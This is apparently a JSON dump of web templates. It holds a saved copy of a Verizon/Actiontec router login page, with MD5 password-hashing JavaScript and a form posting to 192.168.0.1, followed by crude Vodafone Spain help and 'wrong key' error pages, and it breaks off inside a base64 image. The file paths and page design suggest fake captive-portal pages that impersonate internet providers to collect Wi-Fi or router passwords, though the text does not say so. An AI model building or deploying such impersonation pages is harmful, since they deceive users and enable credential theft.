OPTION, SELECT {font-size: 11px}\nTD.GRID {border-left:1px solid #ffffff;border-top:1px solid #ffffff; border-right:1px solid #CCCCCC;border-bottom:1px solid #CCCCCC; color: #000000;}\nTD.GRID_NO_LEFT {border-left:0px;border-top:1px solid #ffffff; border-right:1px solid #CCCCCC;border-bottom:1px solid #CCCCCC; color: #000000;}\nTD.GRID_NO_RIGHT {border-left:1px solid#ffffff; border-top:1px solid #ffffff; border-right:0px;border-bottom:1px solid #CCCCCC; color: #000000;}\n.PAGE_HEADER {font-size: 14px;}\n.REMARK {font-size: 9px;}\n.BUTTON {cursor: pointer;}\n.DATA {color: #000000;}\n.actiontec_header {Font-Size:14px; font-weight:bold; color: black; text-align:center;}\n.actiontec_red_header {Font-Size:14px; font-weight:bold; color: black; text-align:center; border-style:solid; border-width:1px; border-color:red;}\n.actiontec_sub_header {Font-Size:12px; font-weight:bold; color: black;}\n.actiontec_regular_text {font-size : 11px; line-height: 140%; color : black;}\n.actiontec_regular_text_underline {font-size : 11px; line-height: 140%; color : black; text-decoration: underline;}\n.actiontec_regular_text_bold {font-size : 11px; font-weight : bold; line-height: 140%; color : black;}\n.actiontec_regular_text_bold_underline {font-size : 11px; font-weight : bold; font-style : normal; line-height: 140%; color : black; text-decoration: underline;}\n.actiontec_small_text {Font-Size:11px; color: black; text-align:left;}\n.actiontec_small_text_underline {Font-Size:11px; color: black; text-align:left; text-decoration: underline;}\n.actiontec_big_text {Font-Size:12px; font-weight:bold; color: black; line-height: 140%; text-align:center;}\n.actiontec_sidetab_normal {background-color:#E0E5F1; COLOR: #181C4C; TEXT-DECORATION: none; Font-Size:11px; border-top: solid #ffffff 2px;}\n.actiontec_sidetab_selected {background-color: black; COLOR: white; TEXT-DECORATION: none; Font-Size:11px; border-top: solid #ffffff 2px;}\n.actiontec_sidetab_selected A:link {color: white;}\n.actiontec_sidetab_selected A:visited {color: white;}\n.actiontec_sidetab_selected A:hover {color: white;}\n.actiontec_button {background-color: #181C4C; border-color: #E0E5FF; border-style: solid; border-width: 3; border-top-width: 4; border-right-width: 4; border-left-width: 4; color: #FFFFFF; font-size : 11px;}\n.actiontec_button A:link {color: white;}\n@media all {  IE\\:homepage {behavior:url(#default#homepage)} }\nA {color: #000000;}\nA:link {TEXT-DECORATION: none}\nA:visited {TEXT-DECORATION: none}\nA:hover {TEXT-DECORATION: underline}\nTD.GRID A {color: #00286F;}\nTD.GRID_NO_LEFT A {color: #00286F;}\nTD.GRID_NO_RIGHT A {color: #00286F;}\nTD.DATA A {color: #00286F;}\n\n#hintbox{ /*CSS for pop up hint box */                     \nposition:absolute;                                         \ntop: 0;                                                    \nbackground-color: lightyellow;                             \nwidth: 150px; /*Default width of hint.*/                   \npadding: 3px;                                              \nborder:1px solid black;                                    \nfont:normal 11px Verdana;                                  \nline-height:18px;                                          \nz-index:100;                                               \nborder-right: 3px solid black;                             \nborder-bottom: 3px solid black;                            \nvisibility: hidden;                                        \n}                                                          \n                                                           \n.hintanchor{ /*CSS for link that shows hint onmouseover*/  \nfont-weight: bold;                                         \ncolor: navy;                                               \nmargin: 3px 8px;                                           \n}                                                          \n\n</style></head><body alink=\"#000000\" vlink=\"#000000\" link=\"#000000\" bgcolor=\"#D32000\" topmargin=\"0\" leftmargin=\"0\" marginheight=\"0\" marginwidth=\"0\" onload=\"loaded()\"><form name=\"form_contents\" method=\"POST\" action=\"http://192.168.0.1/index.cgi\" enctype=\"application/x-www-form-urlencoded\" onsubmit=\"if (window.is_submit &amp;&amp; is_submit==1) return false; is_submit=1; return true; \"><input type=\"HIDDEN\" name=\"active_page\" value=\"9074\"><input type=\"HIDDEN\" name=\"session_key\" value=\"IKL4Wazf;,JhL*2\"><input type=\"HIDDEN\" name=\"active_page_str\" value=\"page_login\"><input type=\"HIDDEN\" name=\"page_title\" value=\"Login\"><input type=\"HIDDEN\" name=\"mimic_button_field\" value=\"\"><input type=\"HIDDEN\" name=\"button_value\" value=\"\"><input type=\"HIDDEN\" name=\"strip_page_top\" value=\"0\"><script language=\"Javascript\"><!--\nfunction show_hide_password(check_box, pass_edit_box_name, pass_div_name)\n{\nvar pass_div = \n    document.getElementById(pass_div_name);\nvar value = \n    document.getElementsByName(pass_edit_box_name)[0].value;\nif (check_box.checked) \n{\n    pass_div.innerHTML = \"<INPUT type=TEXT style=\\\"width: 150px\\\" name=\\\"password_2019243519\\\" value=\\\"\\\" size=20 maxlength=64 /> \";\n}\n else \n{\n    pass_div.innerHTML = \"<INPUT type=PASSWORD style=\\\"WIDTH: 150px\\\" name=\\\"password_2019243519\\\" value=\\\"\\\" size=20 maxlength=64 >\";\n}\ndocument.getElementsByName(pass_edit_box_name)[0].value = value;\n}\n/*\n * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message\n * Digest Algorithm, as defined in RFC 1321.\n * Version 2.1 Copyright (C) Paul Johnston 1999 - 2002.\n * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet\n * Distributed under the BSD License\n * See http://pajhome.org.uk/crypt/md5 for more info.\n */\n\n/*\n * Configurable variables. You may need to tweak these to be compatible with\n * the server-side, but the defaults work in most cases.\n */\nvar hexcase = 0;  /* hex output format. 0 - lowercase; 1 - uppercase        */\nvar b64pad  = \"\"; /* base-64 pad character. \"=\" for strict RFC compliance   */\nvar chrsz   = 8;  /* bits per input character. 8 - ASCII; 16 - Unicode      */\n\n/*\n * These are the functions you'll usually want to call\n * They take string arguments and return either hex or base-64 encoded strings\n */\nfunction hex_md5(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));}\nfunction b64_md5(s){ return binl2b64(core_md5(str2binl(s), s.length * chrsz));}\nfunction str_md5(s){ return binl2str(core_md5(str2binl(s), s.length * chrsz));}\nfunction hex_hmac_md5(key, data) { return binl2hex(core_hmac_md5(key, data)); }\nfunction b64_hmac_md5(key, data) { return binl2b64(core_hmac_md5(key, data)); }\nfunction str_hmac_md5(key, data) { return binl2str(core_hmac_md5(key, data)); }\n\n/* \n * Perform a simple self-test to see if the VM is working \n */\nfunction md5_vm_test()\n{\n  return hex_md5(\"abc\") == \"900150983cd24fb0d6963f7d28e17f72\";\n}\n\n/*\n * Calculate the MD5 of an array of little-endian words, and a bit length\n */\nfunction core_md5(x, len)\n{\n  /* append padding */\n  x[len >> 5] |= 0x80 << ((len) % 32);\n  x[(((len + 64) >>> 9) << 4) + 14] = len;\n  \n  var a =  1732584193;\n  var b = -271733879;\n  var c = -1732584194;\n  var d =  271733878;\n\n  for(var i = 0; i < x.length; i += 16)\n  {\n    var olda = a;\n    var oldb = b;\n    var oldc = c;\n    var oldd = d;\n \n    a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);\n    d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);\n    c = md5_ff(c, d, a, b, x[i+ 2], 17,  606105819);\n    b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);\n    a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);\n    d = md5_ff(d, a, b, c, x[i+ 5], 12,  1200080426);\n    c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);\n    b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);\n    a = md5_ff(a, b, c, d, x[i+ 8], 7 ,  1770035416);\n    d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);\n    c = md5_ff(c, d, a, b, x[i+10], 17, -42063);\n    b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);\n    a = md5_ff(a, b, c, d, x[i+12], 7 ,  1804603682);\n    d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);\n    c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);\n    b = md5_ff(b, c, d, a, x[i+15], 22,  1236535329);\n\n    a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);\n    d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);\n    c = md5_gg(c, d, a, b, x[i+11], 14,  643717713);\n    b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);\n    a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);\n    d = md5_gg(d, a, b, c, x[i+10], 9 ,  38016083);\n    c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);\n    b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);\n    a = md5_gg(a, b, c, d, x[i+ 9], 5 ,  568446438);\n    d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);\n    c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);\n    b = md5_gg(b, c, d, a, x[i+ 8], 20,  1163531501);\n    a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);\n    d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);\n    c = md5_gg(c, d, a, b, x[i+ 7], 14,  1735328473);\n    b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);\n\n    a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);\n    d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);\n    c = md5_hh(c, d, a, b, x[i+11], 16,  1839030562);\n    b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);\n    a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);\n    d = md5_hh(d, a, b, c, x[i+ 4], 11,  1272893353);\n    c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);\n    b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);\n    a = md5_hh(a, b, c, d, x[i+13], 4 ,  681279174);\n    d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);\n    c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);\n    b = md5_hh(b, c, d, a, x[i+ 6], 23,  76029189);\n    a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);\n    d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);\n    c = md5_hh(c, d, a, b, x[i+15], 16,  530742520);\n    b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);\n\n    a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);\n    d = md5_ii(d, a, b, c, x[i+ 7], 10,  1126891415);\n    c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);\n    b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);\n    a = md5_ii(a, b, c, d, x[i+12], 6 ,  1700485571);\n    d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);\n    c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);\n    b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);\n    a = md5_ii(a, b, c, d, x[i+ 8], 6 ,  1873313359);\n    d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);\n    c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);\n    b = md5_ii(b, c, d, a, x[i+13], 21,  1309151649);\n    a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);\n    d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);\n    c = md5_ii(c, d, a, b, x[i+ 2], 15,  718787259);\n    b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);\n\n    a = safe_add(a, olda);\n    b = safe_add(b, oldb);\n    c = safe_add(c, oldc);\n    d = safe_add(d, oldd);\n  }\n  return Array(a, b, c, d);\n  \n}\n\n/*\n * These functions implement the four basic operations the algorithm uses.\n */\nfunction md5_cmn(q, a, b, x, s, t)\n{\n  return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);\n}\nfunction md5_ff(a, b, c, d, x, s, t)\n{\n  return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);\n}\nfunction md5_gg(a, b, c, d, x, s, t)\n{\n  return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);\n}\nfunction md5_hh(a, b, c, d, x, s, t)\n{\n  return md5_cmn(b ^ c ^ d, a, b, x, s, t);\n}\nfunction md5_ii(a, b, c, d, x, s, t)\n{\n  return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);\n}\n\n/*\n * Calculate the HMAC-MD5, of a key and some data\n */\nfunction core_hmac_md5(key, data)\n{\n  var bkey = str2binl(key);\n  if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);\n\n  var ipad = Array(16), opad = Array(16);\n  for(var i = 0; i < 16; i++) \n  {\n    ipad[i] = bkey[i] ^ 0x36363636;\n    opad[i] = bkey[i] ^ 0x5C5C5C5C;\n  }\n\n  var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);\n  return core_md5(opad.concat(hash), 512 + 128);\n}\n\n/*\n * Add integers, wrapping at 2^32. This uses 16-bit operations internally\n * to work around bugs in some JS interpreters.\n */\nfunction safe_add(x, y)\n{\n  var lsw = (x & 0xFFFF) + (y & 0xFFFF);\n  var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\n  return (msw << 16) | (lsw & 0xFFFF);\n}\n\n/*\n * Bitwise rotate a 32-bit number to the left.\n */\nfunction bit_rol(num, cnt)\n{\n  return (num << cnt) | (num >>> (32 - cnt));\n}\n\n/*\n * Convert a string to an array of little-endian words\n * If chrsz is ASCII, characters >255 have their hi-byte silently ignored.\n */\nfunction str2binl(str)\n{\n  var bin = Array();\n  var mask = (1 << chrsz) - 1;\n  for(var i = 0; i < str.length * chrsz; i += chrsz)\n    bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32);\n  return bin;\n}\n\n/*\n * Convert an array of little-endian words to a string\n */\nfunction binl2str(bin)\n{\n  var str = \"\";\n  var mask = (1 << chrsz) - 1;\n  for(var i = 0; i < bin.length * 32; i += chrsz)\n    str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask);\n  return str;\n}\n\n/*\n * Convert an array of little-endian words to a hex string.\n */\nfunction binl2hex(binarray)\n{\n  var hex_tab = hexcase ? \"0123456789ABCDEF\" : \"0123456789abcdef\";\n  var str = \"\";\n  for(var i = 0; i < binarray.length * 4; i++)\n  {\n    str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) +\n           hex_tab.charAt((binarray[i>>2] >> ((i%4)*8  )) & 0xF);\n  }\n  return str;\n}\n\n/*\n * Convert an array of little-endian words to a base-64 string\n */\nfunction binl2b64(binarray)\n{\n  var tab = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n  var str = \"\";\n  for(var i = 0; i < binarray.length * 4; i += 3)\n  {\n    var triplet = (((binarray[i   >> 2] >> 8 * ( i   %4)) & 0xFF) << 16)\n                | (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 )\n                |  ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF);\n    for(var j = 0; j < 4; j++)\n    {\n      if(i * 8 + j * 6 > binarray.length * 32) str += b64pad;\n      else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F);\n    }\n  }\n  return str;\n}\n\nfunction SendPassword()\n{\n    var tmp;\n    document.form_contents.elements['md5_pass'].value=document.form_contents.elements['password_2019243519'].value+document.form_contents.elements['auth_key'].value\n    tmp=hex_md5(document.form_contents.elements['md5_pass'].value);\n    document.form_contents.elements['md5_pass'].value=tmp;\n    document.form_contents.elements['password_2019243519'].value=\"\";\n    mimic_button('submit_button_login_submit: ..', 1);\n}\n\nvar is_button_in_focus=false;\nvar is_textarea_in_focus=false;\nvar is_submit=0;\nvar is_loaded=0;\nvar timer=0;\nvar suppress_keystroke=0;\n\nfunction loaded()\n{\n  var inp;\n\n  is_loaded=1;\n  inp = document.form_contents.elements['user_name'];\n  if (inp)\n  {\n     if (inp.type != 'hidden')\n       inp.focus();\n  }\n}\nfunction keyDown(e)\n{\n  var button_no;\n  button_no=e.which;\n  switch (button_no)\n  {\n  case 13:\n    if (is_button_in_focus || is_textarea_in_focus)\n      return true;\n    SendPassword();\n    return false;\n  case 32:\n    if (is_button_in_focus)\n    {\n    SendPassword();\n      return false;\n    }\n    return true;\n  default:\n    if (suppress_keystroke)\n    {\n      suppress_keystroke = 0;\n      return false;\n    }\n    return true;\n  }\n}\n\ndocument.onkeydown=keyDown;\ndocument.captureEvents(Event.KEYDOWN);\nfunction mimic_button(button_name,use_default_cgi)\n{\n  if (is_submit)\n    return;\n  f=document.form_contents;\n  f.mimic_button_field.value = button_name;\n  is_submit=1;\n  setTimeout(\"is_submit=0\", 4000);\n  if (timer)\n  {\n    clearTimeout(timer);\n    timer = 0;\n  }\n  if (use_default_cgi)\n  {\n    f.encoding = \"application/x-www-form-urlencoded\";\n    f.action = \"index.cgi\";\n  }\n  f.submit();\n}\nfunction set_cgi(action,encoding)\n{\n  f=document.form_contents;\n  f.encoding=encoding;\n  f.action=action;\n}\n\n\n// -->\n</script><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tbody><tr><td rowspan=\"3\">&nbsp;</td><td valign=\"BOTTOM\" height=\"95\" width=\"10%\"><table border=\"0\" cellpadding=\"4\" cellspacing=\"0\" width=\"100%\"><tbody><tr><td width=\"4%\">&nbsp;</td><td align=\"LEFT\" valign=\"BOTTOM\"><map name=\"logo\"><area title=\"\" alt=\"\" onfocus=\"is_button_in_focus=true;\" onblur=\"is_button_in_focus=false;\" href=\"http://www.verizon.com/\" shape=\"rectangle\" coords=\"0,0,185,40\" target=\"_blank\"></map><img border=\"0\" src=\"./Verizon_files/vz_logo.gif\" name=\"vz_logo\" width=\"185\" height=\"40\" usemap=\"#vz\"></td><td width=\"4%\">&nbsp;</td></tr></tbody></table></td><td rowspan=\"3\">&nbsp;</td></tr><tr><td width=\"10%\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tbody><tr><td valign=\"TOP\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"></table></td><td valign=\"TOP\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tbody><tr><td align=\"LEFT\" valign=\"BOTTOM\" height=\"15\" width=\"16\"><img border=\"0\" src=\"./Verizon_files/actiontec_lt_top_corner.gif\" name=\"actiontec_lt_top_corner\" width=\"16\" height=\"15\"></td><td background=\"./Verizon_files/actiontec_top_bar.gif\" align=\"CENTER\" valign=\"BOTTOM\"><img border=\"0\" src=\"./Verizon_files/empty.gif\" name=\"empty\" width=\"800\" height=\"2\"></td><td align=\"RIGHT\" valign=\"BOTTOM\"><img border=\"0\" src=\"./Verizon_files/actiontec_rt_top_corner.gif\" name=\"actiontec_rt_top_corner\" width=\"24\" height=\"15\"></td></tr><tr><td background=\"./Verizon_files/actiontec_lt_col.gif\"><img border=\"0\" src=\"./Verizon_files/empty.gif\" name=\"empty\" width=\"2\" height=\"2\"></td><td bgcolor=\"#FFFFFF\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tbody><tr><td valign=\"TOP\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tbody><tr><td bgcolor=\"#FFFFFF\" align=\"CENTER\" valign=\"MIDDLE\" colspan=\"3\"><p><br></p></td></tr><tr><td bgcolor=\"#FFFFFF\" align=\"CENTER\" valign=\"MIDDLE\"><img border=\"0\" src=\"./Verizon_files/empty.gif\" name=\"empty\" width=\"8\" height=\"2\"></td><td bgcolor=\"#FFFFFF\" align=\"CENTER\" valign=\"MIDDLE\" width=\"100%\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td bgcolor=\"#FFFFFF\" align=\"LEFT\" valign=\"MIDDLE\"><b><font size=\"3\" color=\"#000000\" face=\"Verdana, Helvetica, Arial, sans-serif\"><span class=\"PAGE_HEADER\">&nbsp;Login</span></font></b></td></tr></tbody></table><br><table border=\"0\" cellpadding=\"4\" cellspacing=\"0\" width=\"60%\"><tbody><tr><td align=\"LEFT\" valign=\"MIDDLE\" colspan=\"2\"><table border=\"0\" cellpadding=\"4\" cellspacing=\"0\" width=\"100%\"><tbody><tr bgcolor=\"#E0E5F1\"><td class=\"GRID_NO_RIGHT\" align=\"LEFT\" valign=\"MIDDLE\" width=\"50%\"><b>User Name</b>:</td><td class=\"GRID_NO_LEFT\" align=\"LEFT\" valign=\"MIDDLE\" width=\"50%\"><input type=\"HIDDEN\" name=\"user_name_defval\" value=\"\"><input type=\"TEXT\" style=\"WIDTH: 150px\" name=\"user_name\" value=\"\" size=\"20\" maxlength=\"64\"></td></tr><tr bgcolor=\"#F1F3F9\"><td class=\"GRID_NO_RIGHT\" align=\"LEFT\" valign=\"MIDDLE\" width=\"50%\"><b>Password</b>:</td><td class=\"GRID_NO_LEFT\" align=\"LEFT\" valign=\"MIDDLE\" width=\"50%\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td valign=\"TOP\"><div id=\"password_div\"><input type=\"PASSWORD\" style=\"WIDTH: 150px\" name=\"password_2019243519\" value=\"\" size=\"20\" maxlength=\"64\"></div></td><td valign=\"TOP\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tbody><tr><td valign=\"MIDDLE\"><input type=\"CHECKBOX\" onclick=\"show_hide_password(this, &#39;password_2019243519&#39;, &#39;password_div&#39;)\" id=\"show_hide_checkbox_\" name=\"show_hide_checkbox\" value=\"1\"></td><td valign=\"MIDDLE\" width=\"100%\" nowrap=\"\"><label for=\"show_hide_checkbox_\">Show Password</label></td></tr></tbody></table></td></tr></tbody></table><input type=\"HIDDEN\" name=\"md5_pass\" value=\"\"></td></tr></tbody></table></td></tr></tbody></table><input type=\"HIDDEN\" name=\"auth_key\" value=\"132026689\"><center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td height=\"5\"><img border=\"0\" src=\"./Verizon_files/empty.gif\" name=\"empty\" width=\"2\" height=\"5\"></td></tr></tbody></table><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td align=\"CENTER\" valign=\"MIDDLE\"><span onclick=\"SendPassword()\"><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tbody><tr><td class=\"actiontec_button\" align=\"CENTER\" valign=\"MIDDLE\" height=\"25\"><span onclick=\"return false;\" style=\"margin: 15px;\"><a href=\"http://192.168.0.1/onclick=\" sendpassword()\"\"=\"\">OK</a></span></td></tr></tbody></table></span></td></tr></tbody></table></center></td><td bgcolor=\"#FFFFFF\" align=\"CENTER\" valign=\"MIDDLE\" width=\"8\"><img border=\"0\" src=\"./Verizon_files/empty.gif\" name=\"empty\" width=\"8\" height=\"2\"></td></tr><tr><td bgcolor=\"#FFFFFF\" align=\"CENTER\" valign=\"MIDDLE\" colspan=\"3\"><p><br></p></td></tr></tbody></table></td></tr></tbody></table></td><td background=\"./Verizon_files/actiontec_rt_col.gif\"><img border=\"0\" src=\"./Verizon_files/empty.gif\" name=\"empty\" width=\"2\" height=\"2\"></td></tr><tr><td align=\"LEFT\" valign=\"TOP\"><img border=\"0\" src=\"./Verizon_files/actiontec_lt_btm_corner.gif\" name=\"actiontec_lt_btm_corner\" width=\"16\" height=\"25\"></td><td background=\"./Verizon_files/actiontec_btm_bar.gif\" align=\"CENTER\" valign=\"TOP\"><img border=\"0\" src=\"./Verizon_files/empty.gif\" name=\"empty\" width=\"2\" height=\"2\"></td><td align=\"RIGHT\" valign=\"TOP\" height=\"25\" width=\"24\"><img border=\"0\" src=\"./Verizon_files/actiontec_rt_btm_corner.gif\" name=\"actiontec_rt_btm_corner\" width=\"24\" height=\"25\"></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td colspan=\"3\" height=\"500\">&nbsp;</td></tr></tbody></table></form></body></html>"
  },
  {
    "path": "sites/vodafone_esp/ayuda.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>SERVICIOS VODAFONE</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house1\">\n\t\t\n\t\n\t\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"index.htm\"><font color=\"red\">VOLVER A LA P&Aacute;GINA</span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"index.htm\"><font color=\"red\">P&Aacute;GINA PRINCIPAL</A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"index.htm\"><font color=\"red\">VOLVER A LA P&Aacute;GINA PRINCIPAL</A></span>\n\t</div>\n\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Sesi&oacute;n: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/vodafone_esp/error.html",
    "content": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n\n        <TR>\n\n          <TD colspan=2></TD>\n\n        </TR>\n        \n        \n  </TR>\n \n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n\n\n<b><font color=\"red\" size=\"3\">ERROR</font>:</b> LA CLAVE INGRESADA <b>NO</b> ES CORRECTA!</b></TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n<tr><td colspan=\"2\" align=\"center\"><form><INPUT name=\"VOLVER\" onclick=\"history.back();return false\" class=\"buttonBig\" type=\"submit\" value=\"VOLVER\"/></form></td></tr>\n\n<tbody><tr><td height=\"50\" width=\"50\"><img src=\"data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAABmJLR0QA/wD/AP+gvaeTAAAACXBI\nWXMAAAsTAAALEwEAmpwYAAAH2ElEQVRo3tWaW2xcVxWGv3N8zvgSj8dxUttprkBNSdPQQAsV10IF\nlKK88ABCQkKoDxUvFVXUSggJIaigSJFQUZ94KQhEHxA8tAQEpCC1USOuTVsgl7apsZPY8W3sY4/n\ntmfO4cH/rjfTiWfGmcTxlo5GMz577/Wvy7/WXtseNSMKw25gGNgHbAcCIAYSNm74kqEM5IElYBqY\nyBhTQEJaAClgCzAgELcCO/RORQvdCEAKwIJkNccXkwuf7vMSTyA6gJ3ACPBOYC+wC9iqhYoCkwBe\ng02TOo87PAnmNbEWzp6J5nVInlHgFeAsMGMtkpIV7gXuAoaATi1QBnL6jLUYdYRzQcQ1j/ueJ2E6\nWgBi9+0DtslLxuQ9/cA5C6RbFng/8BF9nwMiLVJ13MtvQoC1hLUWatZV7f52vX4gI0VXrdsFURh2\nyoVuUpBvkQXOAG8ITLEBEKt5Dwi1SZfW6pYGE8BorUUFrGnC1WLtHchTZoCbtccgcDsQBUK3TWB6\nNHkUOA6cVGC5WqznWhVpJ5Dw/TL7kNbu0twCkJVbXJLCPM1rBsigYvgW4DbgAPAeYDqQ8L0SoFMT\nLyuQTmSMMc1Si0hjUMRhQXU5blSQJeYEZC5jTLGF9dPAlJTbC7xXyhoOpGHLBtbEBsi1AkJjQLR9\nENgNpKWclFwulhDb5cpjURi+mTEm28ziz4+Xc/fsSc3LqjnHU1JBDbskDt35LWiqW8KNAJ8APg7s\nkUKWtF6vrFOSIBeAfwMvRGH4t4wxy432uWdPKiX5ylqnZF3bX4Pzm6FGvverk6HiYJ/89aBM/g5p\n3U2ooWLx3cAHgbs1Z1hu2Wh0SMaKlFS1ceQ34O+G42tf+VSH/PQ2PUPaYA74F/A88HvgGeA3wIvA\npGJzl4L3XcDuKAzTR4+d8teTbIMGuaDhCIyxtLhf8dEjQaeAFwRkQhbZqvcOAx/V932ykAHiUiFf\nWCPHeHWehkCaHZ5To6Ul0CzwupjvpYwxOSeeCsD7ZLVexdaQgF9O4riZZPs2qm4HEJvoCkqeZVHr\nGDDtgrBYlBQT7Z8SCXS2ULbUrSrbASSn3DOmauANsdLSt3/x59ogTjlBW3XKn+oVisymRjssUpWW\nLwDLotspnRfyR756X9f4t54ojJ4+xTPPPt2nynpADFaREiLNK+GtyyBtAzINnFagWxcriOfTT/zg\n0R2q4/aKnu9QbESKp1FZc973/XijgFQEZFEuY/SEIoGblFMO6RlRrdQpC14EXhOYfPeW9Ma4VsaY\nRNov1GT7UFrfJXq9XUXekOLgsphtFLj8Fincf5DrHuzffOp3XgMlDStz71fpHcqV/qoEeUxJc/Fq\nFXpVFvn+A59byw26dOa/VZm7TwE9oez+InAeWIh9v7ihQJpYO62y